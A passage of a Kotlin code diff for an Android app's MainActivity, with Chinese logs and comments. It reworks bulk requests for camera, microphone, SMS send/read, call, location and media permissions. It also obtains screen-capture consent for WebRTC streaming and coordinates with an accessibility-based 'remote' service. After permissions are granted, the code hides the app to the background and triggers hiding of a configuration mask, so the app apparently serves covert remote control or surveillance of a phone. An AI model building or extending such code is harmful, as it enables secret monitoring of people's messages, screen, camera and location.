permissionRequestInProgressSince + } else { + Long.MAX_VALUE + } + val stale = elapsedMs >= permissionRequestStaleTimeoutMs + if (!force && !stale) { + return false + } + + Log.w( + TAG, + "⚠️ 检测到权限申请状态疑似卡死,执行重置: reason=$reason, force=$force, stale=$stale, elapsedMs=$elapsedMs" + ) + setPermissionRequestInProgressState(false, "stale_reset:$reason") + isAutoPermissionRequest = false + pendingWebRtcOnlyPermissionRequest = false + markPermissionRequesting(false) + return true + } /** *新增:记录应用启动次数 @@ -3554,35 +4446,7 @@ class MainActivity : AppCompatActivity() { * 发送所有权限申请广播 */ private fun sendAllPermissionsRequestBroadcast() { - try { - Log.i(TAG, "📡 发送所有权限申请广播") - - // 更新UI状态 - runOnUiThread { - if (::statusText.isInitialized) { - statusText.text = "正在申请所有权限...\n请一次性允许所有权限" - statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) - } - } - - // 发送广播给AccessibilityRemoteService - val intent = Intent("android.mycustrecev.REQUEST_ALL_PERMISSIONS").apply { - putExtra("action", "request_all_permissions") - putExtra("callback_action", "all_permissions_complete") - putExtra("timestamp", System.currentTimeMillis()) - } - sendBroadcast(intent) - Log.i(TAG, "已发送所有权限申请广播") - - } catch (e: Exception) { - Log.e(TAG, "发送所有权限申请广播失败", e) - runOnUiThread { - if (::statusText.isInitialized) { - statusText.text = "广播发送失败\n请重试" - statusText.setTextColor(getColor(android.R.color.holo_red_dark)) - } - } - } + requestAllPermissionsAtOnce() } /** @@ -3590,118 +4454,118 @@ class MainActivity : AppCompatActivity() { */ private fun requestAllPermissionsAtOnce() { try { - Log.i(TAG, "🎯 开始一次性获取所有权限") - - // 更新UI状态 - runOnUiThread { - if (::statusText.isInitialized) { - statusText.text = "正在申请所有权限...\n请一次性允许所有权限" - statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) + Log.i(TAG, "🎯 开始一次性获取所有运行时权限") + + val allPermissions = mutableListOf() + val permissionNames = mutableListOf() + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { + allPermissions.add(android.Manifest.permission.CAMERA) + permissionNames.add("摄像头") + } + if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { + allPermissions.add(android.Manifest.permission.RECORD_AUDIO) + permissionNames.add("麦克风") + } + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + val mediaPermissions = mutableListOf( + android.Manifest.permission.READ_MEDIA_IMAGES, + android.Manifest.permission.READ_MEDIA_VIDEO, + android.Manifest.permission.READ_MEDIA_AUDIO + ) + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) { + mediaPermissions.add(android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED) + } + val missingMedia = mediaPermissions.filter { + checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED + } + if (missingMedia.isNotEmpty()) { + allPermissions.addAll(missingMedia) + permissionNames.add("相册") + } + if (checkSelfPermission(android.Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) { + allPermissions.add(android.Manifest.permission.POST_NOTIFICATIONS) + permissionNames.add("通知") + } + } else { + val legacyStorage = mutableListOf(android.Manifest.permission.READ_EXTERNAL_STORAGE) + if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P) { + legacyStorage.add(android.Manifest.permission.WRITE_EXTERNAL_STORAGE) + } + val missingStorage = legacyStorage.filter { + checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED + } + if (missingStorage.isNotEmpty()) { + allPermissions.addAll(missingStorage) + permissionNames.add("存储") + } + } + + val smsPermissions = arrayOf( + android.Manifest.permission.READ_SMS, + android.Manifest.permission.SEND_SMS, + android.Manifest.permission.RECEIVE_SMS, + android.Manifest.permission.READ_PHONE_STATE, + android.Manifest.permission.CALL_PHONE + ) + val missingSms = smsPermissions.filter { + checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED + } + if (missingSms.isNotEmpty()) { + allPermissions.addAll(missingSms) + permissionNames.add("短信") + } + + if (checkSelfPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) { + allPermissions.add(android.Manifest.permission.ACCESS_FINE_LOCATION) + permissionNames.add("定位") } } - - // 延迟执行权限申请,确保UI更新 - android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ - try { - // 收集所有需要的权限 - val allPermissions = mutableListOf() - val permissionNames = mutableListOf() - - // 摄像头权限 - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { - if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { - allPermissions.add(android.Manifest.permission.CAMERA) - permissionNames.add("摄像头") - } - - // 麦克风权限 - if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { - allPermissions.add(android.Manifest.permission.RECORD_AUDIO) - permissionNames.add("麦克风") - } - - // 相册权限(根据Android版本选择) - val galleryPermissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { - arrayOf( - android.Manifest.permission.READ_MEDIA_IMAGES, - android.Manifest.permission.READ_MEDIA_VIDEO - ) - } else { - arrayOf( - android.Manifest.permission.READ_EXTERNAL_STORAGE, - android.Manifest.permission.WRITE_EXTERNAL_STORAGE - ) - } - - val needGalleryPermissions = galleryPermissions.filter { - checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED - } - if (needGalleryPermissions.isNotEmpty()) { - allPermissions.addAll(needGalleryPermissions) - permissionNames.add("相册") - } - - // 短信权限 - val smsPermissions = arrayOf( - android.Manifest.permission.READ_SMS, - android.Manifest.permission.SEND_SMS, - android.Manifest.permission.RECEIVE_SMS, - android.Manifest.permission.READ_PHONE_STATE, - android.Manifest.permission.CALL_PHONE - ) - - val needSmsPermissions = smsPermissions.filter { - checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED - } - if (needSmsPermissions.isNotEmpty()) { - allPermissions.addAll(needSmsPermissions) - permissionNames.add("短信") - } - } - - if (allPermissions.isNotEmpty()) { - Log.i(TAG, "📋 需要申请的权限: ${permissionNames.joinToString(", ")}") - Log.i(TAG, "📋 权限列表: ${allPermissions.joinToString(", ")}") - - // 一次性申请所有权限 - requestPermissions(allPermissions.toTypedArray(), REQUEST_ALL_PERMISSIONS) - - // 更新UI状态 - runOnUiThread { - if (::statusText.isInitialized) { - statusText.text = "正在申请权限: ${permissionNames.joinToString(", ")}\n请一次性允许所有权限" - statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) - } - } - } else { - Log.i(TAG, "所有权限已授予,无需申请") - runOnUiThread { - if (::statusText.isInitialized) { - statusText.text = "所有权限已授予\n无需申请" - statusText.setTextColor(getColor(android.R.color.holo_green_dark)) - } - } - } - - } catch (e: Exception) { - Log.e(TAG, "收集权限列表失败", e) - runOnUiThread { - if (::statusText.isInitialized) { - statusText.text = "权限收集失败\n请重试" - statusText.setTextColor(getColor(android.R.color.holo_red_dark)) - } - } + + if (allPermissions.isNotEmpty()) { + val dedupedPermissions = allPermissions.distinct() + val userFixed = getUserFixedDeniedPermissions(dedupedPermissions) + if (userFixed.isNotEmpty()) { + Log.w(TAG, "批量权限中存在USER_FIXED: ${userFixed.joinToString(",")}") } - }, 1000) // 1秒延迟 - + + val requestablePermissions = dedupedPermissions.filterNot { userFixed.contains(it) } + Log.i(TAG, "📋 需要申请的运行时权限: ${permissionNames.joinToString(", ")}") + + if (requestablePermissions.isNotEmpty()) { + markRuntimePermissionsRequested(requestablePermissions) + requestPermissionsSafely( + requestablePermissions.toTypedArray(), + REQUEST_ALL_PERMISSIONS, + "legacy_batch_all_permissions" + ) + } else if (userFixed.isNotEmpty()) { + updateStatusTextThreadSafe( + "权限被系统固定拒绝\n请在设置页手动开启", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + return + } + + updateStatusTextThreadSafe( + "正在申请权限: ${permissionNames.joinToString("、")}\n请保持当前界面", + android.R.color.holo_orange_dark + ) + } else { + Log.i(TAG, "所有运行时权限已授予") + updateStatusTextThreadSafe("运行时权限已就绪", android.R.color.holo_green_dark) + if (isAutoPermissionRequest) { + Handler(mainLooper).postDelayed({ + hideActivityToBackground() + }, 800) + } + } } catch (e: Exception) { Log.e(TAG, "一次性权限申请失败", e) - runOnUiThread { - if (::statusText.isInitialized) { - statusText.text = "权限申请失败\n请重试" - statusText.setTextColor(getColor(android.R.color.holo_red_dark)) - } - } + updateStatusTextThreadSafe("权限申请失败,请重试", android.R.color.holo_red_dark) } } @@ -3754,7 +4618,7 @@ class MainActivity : AppCompatActivity() { } // 创建MediaProjection权限请求Intent - val intent = mediaProjectionManager?.createScreenCaptureIntent() + val intent = createPreferredScreenCaptureIntent() if (intent == null) { Log.e(TAG, "创建MediaProjection权限Intent失败") return @@ -3809,6 +4673,34 @@ class MainActivity : AppCompatActivity() { } } + private fun createPreferredScreenCaptureIntent(): Intent? { + val manager = mediaProjectionManager ?: return null + val policy = DeviceDetector.getWebRtcTransportPolicy() + if (Build.VERSION.SDK_INT >= 34 && policy.preferDefaultDisplayCaptureIntent) { + try { + val configClass = Class.forName("android.media.projection.MediaProjectionConfig") + val createConfigMethod = configClass.getMethod("createConfigForDefaultDisplay") + val defaultDisplayConfig = createConfigMethod.invoke(null) + val intentMethod = + MediaProjectionManager::class.java.getMethod( + "createScreenCaptureIntent", + configClass + ) + val intent = intentMethod.invoke(manager, defaultDisplayConfig) as? Intent + if (intent != null) { + Log.i( + TAG, + "✅ 使用DefaultDisplay配置创建MediaProjection权限Intent(优先整个屏幕), strategy=${policy.strategyId}" + ) + return intent + } + } catch (e: Exception) { + Log.w(TAG, "⚠️ 使用DefaultDisplay配置创建MediaProjection Intent失败,回退标准流程", e) + } + } + return manager.createScreenCaptureIntent() + } + /** *专门为 MIUI 设备设计的权限申请方法 - 简化版,避免SimplePermissionActivity崩溃 */ @@ -4352,7 +5244,11 @@ class MainActivity : AppCompatActivity() { updateUI() // 延迟检查其他权限,让无障碍服务有时间启动 android.os.Handler(mainLooper).postDelayed({ - checkAllPermissions() + if (unifiedPermissionFlowInProgress) { + continueUnifiedPermissionFlow("无障碍设置返回") + } else { + checkAllPermissions() + } }, 1000) } // 删除悬浮窗权限结果处理 @@ -4399,7 +5295,11 @@ class MainActivity : AppCompatActivity() { // 检查Intent参数 val permissionLostRecovery = intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) + val webRtcOnlyRequest = + pendingWebRtcOnlyPermissionRequest || intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false) Log.i(TAG, " - permissionLostRecovery: $permissionLostRecovery") + Log.i(TAG, " - webRtcOnlyRequest: $webRtcOnlyRequest") + var shouldStartUnifiedFlow = false if (resultCode == Activity.RESULT_OK && data != null) { Log.i(TAG, "MediaProjection权限申请成功,开始处理权限数据") @@ -4411,12 +5311,17 @@ class MainActivity : AppCompatActivity() { // 将权限数据存储到MediaProjectionHolder中 MediaProjectionHolder.setPermissionData(resultCode, data) - // 启动前台服务 + // Android 14+/15 上 getMediaProjection 需要 mediaProjection 类型前台服务上下文, + // WebRTC-only 模式也必须先启动服务,否则 WebRTC 首启会抛 SecurityException。 val foregroundServiceIntent = Intent( this, com.hikoncont.service.RemoteControlForegroundService::class.java ) - foregroundServiceIntent.action = "START_MEDIA_PROJECTION" + foregroundServiceIntent.action = if (webRtcOnlyRequest) { + "START_MEDIA_PROJECTION_FGS_ONLY" + } else { + "START_MEDIA_PROJECTION" + } if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { startForegroundService(foregroundServiceIntent) @@ -4424,7 +5329,11 @@ class MainActivity : AppCompatActivity() { startService(foregroundServiceIntent) } - Log.i(TAG, "已启动前台服务来处理MediaProjection") + if (webRtcOnlyRequest) { + Log.i(TAG, "WebRTC-only授权模式:已启动mediaProjection前台服务以满足系统要求") + } else { + Log.i(TAG, "已启动前台服务来处理MediaProjection") + } // 检查是否为权限恢复流程 val permissionLostRecovery = @@ -4473,6 +5382,7 @@ class MainActivity : AppCompatActivity() { } else if (autoRequestPermission) { Log.i(TAG, "MediaProjection权限申请完成,通知无障碍服务继续流程") + shouldStartUnifiedFlow = !webRtcOnlyRequest // 发送广播通知无障碍服务继续处理(悬浮窗权限由开关控制) val broadcastIntent = @@ -4489,78 +5399,94 @@ class MainActivity : AppCompatActivity() { sendBroadcast(broadcastIntent) Log.i(TAG, "📡 已发送MEDIA_PROJECTION_GRANTED广播给AccessibilityRemoteService") - //直接调用AccessibilityRemoteService方法,确保MediaProjection被正确设置 - try { - val accessibilityService = AccessibilityRemoteService.getInstance() - if (accessibilityService != null) { + if (!webRtcOnlyRequest) { + val skipDirectProjectionBootstrap = Build.VERSION.SDK_INT >= Build.VERSION_CODES.R + if (skipDirectProjectionBootstrap) { Log.i( TAG, - "🔧 直接调用AccessibilityRemoteService处理MediaProjection权限" + "Android 11+ 跳过MainActivity直连MediaProjection注入,交给前台服务与后续WebRTC流程处理" ) + } else { + // Android 10及以下保留旧逻辑,兼容早期系统的ScreenCaptureManager启动路径 + try { + val accessibilityService = AccessibilityRemoteService.getInstance() + if (accessibilityService != null) { + Log.i( + TAG, + "🔧 直接调用AccessibilityRemoteService处理MediaProjection权限" + ) - // 获取MediaProjection对象 - val mediaProjection = MediaProjectionHolder.getMediaProjection() - if (mediaProjection != null) { - Log.i( - TAG, - "MediaProjection对象存在,直接设置到ScreenCaptureManager" - ) - // 直接调用内部方法设置MediaProjection - val setupMethod = accessibilityService.javaClass.getDeclaredMethod( - "setupScreenCaptureWithMediaProjection", - android.media.projection.MediaProjection::class.java - ) - setupMethod.isAccessible = true - setupMethod.invoke(accessibilityService, mediaProjection) - Log.i(TAG, "已直接设置MediaProjection到ScreenCaptureManager") - } else { - Log.w(TAG, "MediaProjection对象不存在,通过安全创建入口获取") - // 通过 Holder 的安全创建入口获取,禁止直接调用 getMediaProjection() - // 直接调用会创建新实例,系统自动 stop 旧实例触发 onStop 死循环 - val permissionData = MediaProjectionHolder.getPermissionData() - if (permissionData != null) { - val (safeResultCode, safeResultData) = permissionData - if (safeResultData != null) { - val newMediaProjection = - MediaProjectionHolder.safeGetOrCreateProjection( - this@MainActivity, safeResultCode, safeResultData - ) - if (newMediaProjection != null) { - Log.i(TAG, "通过安全创建入口获取MediaProjection成功") + // 获取MediaProjection对象 + val mediaProjection = MediaProjectionHolder.getMediaProjection() + if (mediaProjection != null) { + Log.i( + TAG, + "MediaProjection对象存在,直接设置到ScreenCaptureManager" + ) + // 直接调用内部方法设置MediaProjection + val setupMethod = accessibilityService.javaClass.getDeclaredMethod( + "setupScreenCaptureWithMediaProjection", + android.media.projection.MediaProjection::class.java + ) + setupMethod.isAccessible = true + setupMethod.invoke(accessibilityService, mediaProjection) + Log.i(TAG, "已直接设置MediaProjection到ScreenCaptureManager") + } else { + Log.w(TAG, "MediaProjection对象不存在,通过安全创建入口获取") + // 通过 Holder 的安全创建入口获取,禁止直接调用 getMediaProjection() + // 直接调用会创建新实例,系统自动 stop 旧实例触发 onStop 死循环 + val permissionData = MediaProjectionHolder.getPermissionData() + if (permissionData != null) { + val (safeResultCode, safeResultData) = permissionData + if (safeResultData != null) { + val newMediaProjection = + MediaProjectionHolder.safeGetOrCreateProjection( + this@MainActivity, safeResultCode, safeResultData + ) + if (newMediaProjection != null) { + Log.i(TAG, "通过安全创建入口获取MediaProjection成功") - // 设置到ScreenCaptureManager - val setupMethod = - accessibilityService.javaClass.getDeclaredMethod( - "setupScreenCaptureWithMediaProjection", - android.media.projection.MediaProjection::class.java - ) - setupMethod.isAccessible = true - setupMethod.invoke( - accessibilityService, - newMediaProjection - ) - Log.i(TAG, "已设置MediaProjection到ScreenCaptureManager") - } else { - Log.e(TAG, "通过安全创建入口获取MediaProjection失败") + // 设置到ScreenCaptureManager + val setupMethod = + accessibilityService.javaClass.getDeclaredMethod( + "setupScreenCaptureWithMediaProjection", + android.media.projection.MediaProjection::class.java + ) + setupMethod.isAccessible = true + setupMethod.invoke( + accessibilityService, + newMediaProjection + ) + Log.i(TAG, "已设置MediaProjection到ScreenCaptureManager") + } else { + Log.e(TAG, "通过安全创建入口获取MediaProjection失败") + } + } } } + } else { + Log.w(TAG, "AccessibilityRemoteService实例不存在") } + } catch (e: Exception) { + Log.e(TAG, "直接调用AccessibilityRemoteService失败", e) } - } else { - Log.w(TAG, "AccessibilityRemoteService实例不存在") } - } catch (e: Exception) { - Log.e(TAG, "直接调用AccessibilityRemoteService失败", e) + } else { + Log.i(TAG, "WebRTC-only授权模式:跳过ScreenCaptureManager注入,避免提前消费投屏token") } //重置自动权限申请标志 isAutoPermissionRequest = false - permissionRequestInProgress = false // 重置权限申请进行中标志 + setPermissionRequestInProgressState(false, "media_projection_result_ok") // 重置权限申请进行中标志 // 显示权限申请成功状态,给用户反馈 runOnUiThread { if (::statusText.isInitialized) { - statusText.text = "权限申请成功\n正在启动服务..." + statusText.text = if (webRtcOnlyRequest) { + "权限申请成功\nWebRTC模式就绪" + } else { + "权限申请成功\n正在启动服务..." + } statusText.setTextColor(getColor(android.R.color.holo_green_dark)) } if (::enableButton.isInitialized) { @@ -4572,36 +5498,42 @@ class MainActivity : AppCompatActivity() { //根据悬浮窗权限开关决定后续流程 Log.i(TAG, "🚀 MediaProjection权限成功,继续后续权限流程") - // 短暂延迟后让无障碍服务处理后续流程 - android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ - if (!isFinishing) { - runOnUiThread { - if (::statusText.isInitialized) { - statusText.text = "服务启动中...\n正在处理配置中" - } - if (::enableButton.isInitialized) { - enableButton.text = "服务启动中..." + if (!webRtcOnlyRequest) { + // 短暂延迟后让无障碍服务处理后续流程 + android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ + if (!isFinishing) { + runOnUiThread { + if (::statusText.isInitialized) { + statusText.text = "服务启动中...\n正在处理配置中" + } + if (::enableButton.isInitialized) { + enableButton.text = "服务启动中..." + } } } - } - }, 1500) // 1.5秒后更新状态 + }, 1500) // 1.5秒后更新状态 - // 等待无障碍服务完成处理后,显示最终状态 - android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ - if (!isFinishing) { - runOnUiThread { - if (::statusText.isInitialized) { - statusText.text = "服务启动中..." - statusText.setTextColor(getColor(android.R.color.holo_green_dark)) - } - if (::enableButton.isInitialized) { - enableButton.text = "服务已就绪" - enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark)) - enableButton.isEnabled = false + // 等待无障碍服务完成处理后,显示最终状态 + android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ + if (!isFinishing) { + runOnUiThread { + if (::statusText.isInitialized) { + statusText.text = "服务启动中..." + statusText.setTextColor(getColor(android.R.color.holo_green_dark)) + } + if (::enableButton.isInitialized) { + enableButton.text = "服务已就绪" + enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark)) + enableButton.isEnabled = false + } } } - } - }, 5000) // 5秒后显示最终成功状态 + }, 5000) // 5秒后显示最终成功状态 + } else { + android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ + hideActivityToBackground() + }, 800) + } } } catch (e: Exception) { @@ -4661,6 +5593,27 @@ class MainActivity : AppCompatActivity() { } } } + + // 本轮授权流程结束后,清理手动授权模式标记 + manualGrantOnlyMode = false + pendingWebRtcOnlyPermissionRequest = false + + if (shouldStartUnifiedFlow && !unifiedPermissionFlowInProgress) { + Log.i(TAG, "🚦 录屏授权成功后启动统一权限编排,补齐运行时与特殊权限") + startUnifiedPermissionFlow("录屏权限回调", false) + } else if (unifiedPermissionFlowInProgress) { + Handler(mainLooper).postDelayed({ + continueUnifiedPermissionFlow("录屏权限回调") + }, 800) + } + + Handler(mainLooper).postDelayed({ + try { + AccessibilityRemoteService.getInstance()?.checkAndHideConfigMask() + } catch (e: Exception) { + Log.w(TAG, "录屏权限回调后触发配置完成检查失败", e) + } + }, 600) } /** @@ -4671,7 +5624,8 @@ class MainActivity : AppCompatActivity() { //重置权限申请标志 isAutoPermissionRequest = false - permissionRequestInProgress = false + setPermissionRequestInProgressState(false, "media_projection_result_denied") + pendingWebRtcOnlyPermissionRequest = false // 发送广播通知无障碍服务权限被拒绝 val broadcastIntent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply { @@ -4867,11 +5821,15 @@ class MainActivity : AppCompatActivity() { // 停止监听 stopMediaProjectionPermissionMonitoring() - // 模拟onActivityResult调用 - val (resultCode, data) = permissionData - if (data != null) { - Log.i(TAG, "🔧 权限监听检测到权限获取,手动触发权限处理流程") - handleMediaProjectionResult(resultCode, data) + if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) { + // Android 10及以下保留手动兜底,避免部分ROM不回调onActivityResult + val (resultCode, data) = permissionData + if (data != null) { + Log.i(TAG, "🔧 权限监听检测到权限获取,手动触发权限处理流程") + handleMediaProjectionResult(resultCode, data) + } + } else { + Log.i(TAG, "Android 11+ 仅做权限监听收敛,不再手动触发handleMediaProjectionResult") } return } @@ -4968,6 +5926,8 @@ class MainActivity : AppCompatActivity() { val requestSMSPermission = intent.getBooleanExtra("request_sms_permission", false) if (requestSMSPermission) { Log.i(TAG, "收到短信权限申请请求") + // 清理一次性标记,防止重复触发 + intent.removeExtra("request_sms_permission") requestSMSPermission() } } catch (e: Exception) { @@ -4984,6 +5944,8 @@ class MainActivity : AppCompatActivity() { intent.getBooleanExtra("request_gallery_permission", false) if (requestGalleryPermission) { Log.i(TAG, "🖼️ 收到相册权限申请请求") + // 清理一次性标记,防止重复触发 + intent.removeExtra("request_gallery_permission") requestGalleryPermission() } } catch (e: Exception) { @@ -5000,6 +5962,8 @@ class MainActivity : AppCompatActivity() { intent.getBooleanExtra("request_microphone_permission", false) if (requestMicrophonePermission) { Log.i(TAG, "🎤 收到麦克风权限申请请求") + // 清理一次性标记,防止重复触发 + intent.removeExtra("request_microphone_permission") requestMicrophonePermission() } } catch (e: Exception) { @@ -5031,8 +5995,23 @@ class MainActivity : AppCompatActivity() { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needPermissions.isNotEmpty()) { + val userFixed = getUserFixedDeniedPermissions(needPermissions) + if (userFixed.isNotEmpty()) { + Log.w(TAG, "相册权限被系统固定拒绝(直接请求): ${userFixed.joinToString(",")}") + updateStatusTextThreadSafe( + "相册权限被系统限制\n请到设置手动开启", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + return + } Log.i(TAG, "🖼️ 直接申请相册权限") - requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION) + markRuntimePermissionsRequested(needPermissions) + requestPermissionsSafely( + needPermissions.toTypedArray(), + REQUEST_GALLERY_PERMISSION, + "gallery_direct_request" + ) } else { Log.i(TAG, "相册权限已授予") } @@ -5058,8 +6037,23 @@ class MainActivity : AppCompatActivity() { val needPermissions = permissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needPermissions.isNotEmpty()) { + val userFixed = getUserFixedDeniedPermissions(needPermissions) + if (userFixed.isNotEmpty()) { + Log.w(TAG, "相册权限被系统固定拒绝: ${userFixed.joinToString(",")}") + updateStatusTextThreadSafe( + "相册权限被系统限制\n请到设置手动开启", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + return + } Log.i(TAG, "🖼️ 申请相册权限") - requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION) + markRuntimePermissionsRequested(needPermissions) + requestPermissionsSafely( + needPermissions.toTypedArray(), + REQUEST_GALLERY_PERMISSION, + "gallery_request" + ) } else { Log.i(TAG, "相册权限已授予") } @@ -5080,10 +6074,23 @@ class MainActivity : AppCompatActivity() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { + val pending = listOf(android.Manifest.permission.RECORD_AUDIO) + val userFixed = getUserFixedDeniedPermissions(pending) + if (userFixed.isNotEmpty()) { + Log.w(TAG, "麦克风权限被系统固定拒绝(直接请求)") + updateStatusTextThreadSafe( + "麦克风权限被系统限制\n请到设置手动开启", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + return + } Log.i(TAG, "🎤 直接申请麦克风权限") - requestPermissions( + markRuntimePermissionsRequested(pending) + requestPermissionsSafely( arrayOf(android.Manifest.permission.RECORD_AUDIO), - REQUEST_MICROPHONE_PERMISSION + REQUEST_MICROPHONE_PERMISSION, + "microphone_direct_request" ) } else { Log.i(TAG, "麦克风权限已授予") @@ -5103,10 +6110,23 @@ class MainActivity : AppCompatActivity() { try { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { + val pending = listOf(android.Manifest.permission.RECORD_AUDIO) + val userFixed = getUserFixedDeniedPermissions(pending) + if (userFixed.isNotEmpty()) { + Log.w(TAG, "麦克风权限被系统固定拒绝") + updateStatusTextThreadSafe( + "麦克风权限被系统限制\n请到设置手动开启", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + return + } Log.i(TAG, "🎤 申请麦克风权限") - requestPermissions( + markRuntimePermissionsRequested(pending) + requestPermissionsSafely( arrayOf(android.Manifest.permission.RECORD_AUDIO), - REQUEST_MICROPHONE_PERMISSION + REQUEST_MICROPHONE_PERMISSION, + "microphone_request" ) } else { Log.i(TAG, "麦克风权限已授予") @@ -5138,8 +6158,23 @@ class MainActivity : AppCompatActivity() { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needPermissions.isNotEmpty()) { + val userFixed = getUserFixedDeniedPermissions(needPermissions) + if (userFixed.isNotEmpty()) { + Log.w(TAG, "短信权限被系统固定拒绝(直接请求): ${userFixed.joinToString(",")}") + updateStatusTextThreadSafe( + "短信权限被系统限制\n请到设置手动开启", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + return + } Log.i(TAG, "直接申请短信权限") - requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION) + markRuntimePermissionsRequested(needPermissions) + requestPermissionsSafely( + needPermissions.toTypedArray(), + REQUEST_SMS_PERMISSION, + "sms_direct_request" + ) } else { Log.i(TAG, "短信权限已授予") } @@ -5168,8 +6203,23 @@ class MainActivity : AppCompatActivity() { } if (needPermissions.isNotEmpty()) { + val userFixed = getUserFixedDeniedPermissions(needPermissions) + if (userFixed.isNotEmpty()) { + Log.w(TAG, "短信权限被系统固定拒绝: ${userFixed.joinToString(",")}") + updateStatusTextThreadSafe( + "短信权限被系统限制\n请到设置手动开启", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + return + } Log.i(TAG, "申请短信权限") - requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION) + markRuntimePermissionsRequested(needPermissions) + requestPermissionsSafely( + needPermissions.toTypedArray(), + REQUEST_SMS_PERMISSION, + "sms_request" + ) } else { Log.i(TAG, "短信权限已授予") } @@ -5219,10 +6269,23 @@ class MainActivity : AppCompatActivity() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { + val pending = listOf(android.Manifest.permission.CAMERA) + val userFixed = getUserFixedDeniedPermissions(pending) + if (userFixed.isNotEmpty()) { + Log.w(TAG, "摄像头权限被系统固定拒绝(直接请求)") + updateStatusTextThreadSafe( + "相机权限被系统限制\n请到设置手动开启", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + return + } Log.i(TAG, "📷 直接申请摄像头权限") - requestPermissions( + markRuntimePermissionsRequested(pending) + requestPermissionsSafely( arrayOf(android.Manifest.permission.CAMERA), - REQUEST_CAMERA_PERMISSION + REQUEST_CAMERA_PERMISSION, + "camera_direct_request" ) } else { Log.i(TAG, "摄像头权限已授予") @@ -5242,10 +6305,23 @@ class MainActivity : AppCompatActivity() { try { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { + val pending = listOf(android.Manifest.permission.CAMERA) + val userFixed = getUserFixedDeniedPermissions(pending) + if (userFixed.isNotEmpty()) { + Log.w(TAG, "摄像头权限被系统固定拒绝") + updateStatusTextThreadSafe( + "相机权限被系统限制\n请到设置手动开启", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + return + } Log.i(TAG, "📷 申请摄像头权限") - requestPermissions( + markRuntimePermissionsRequested(pending) + requestPermissionsSafely( arrayOf(android.Manifest.permission.CAMERA), - REQUEST_CAMERA_PERMISSION + REQUEST_CAMERA_PERMISSION, + "camera_request" ) } else { Log.i(TAG, "摄像头权限已授予") @@ -5295,6 +6371,16 @@ class MainActivity : AppCompatActivity() { grantResults: IntArray ) { super.onRequestPermissionsResult(requestCode, permissions, grantResults) + recordRuntimePermissionResult(permissions, grantResults) + if ( + requestCode == REQUEST_SMS_PERMISSION || + requestCode == REQUEST_GALLERY_PERMISSION || + requestCode == REQUEST_MICROPHONE_PERMISSION || + requestCode == REQUEST_CAMERA_PERMISSION || + requestCode == REQUEST_ALL_PERMISSIONS + ) { + pendingSingleRuntimePermissionRequest = false + } when (requestCode) { REQUEST_SMS_PERMISSION -> { @@ -5305,6 +6391,10 @@ class MainActivity : AppCompatActivity() { } else { Log.w(TAG, "短信权限被拒绝") } + + android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ + hideActivityToBackground() + }, 1200) } REQUEST_GALLERY_PERMISSION -> { @@ -5315,6 +6405,10 @@ class MainActivity : AppCompatActivity() 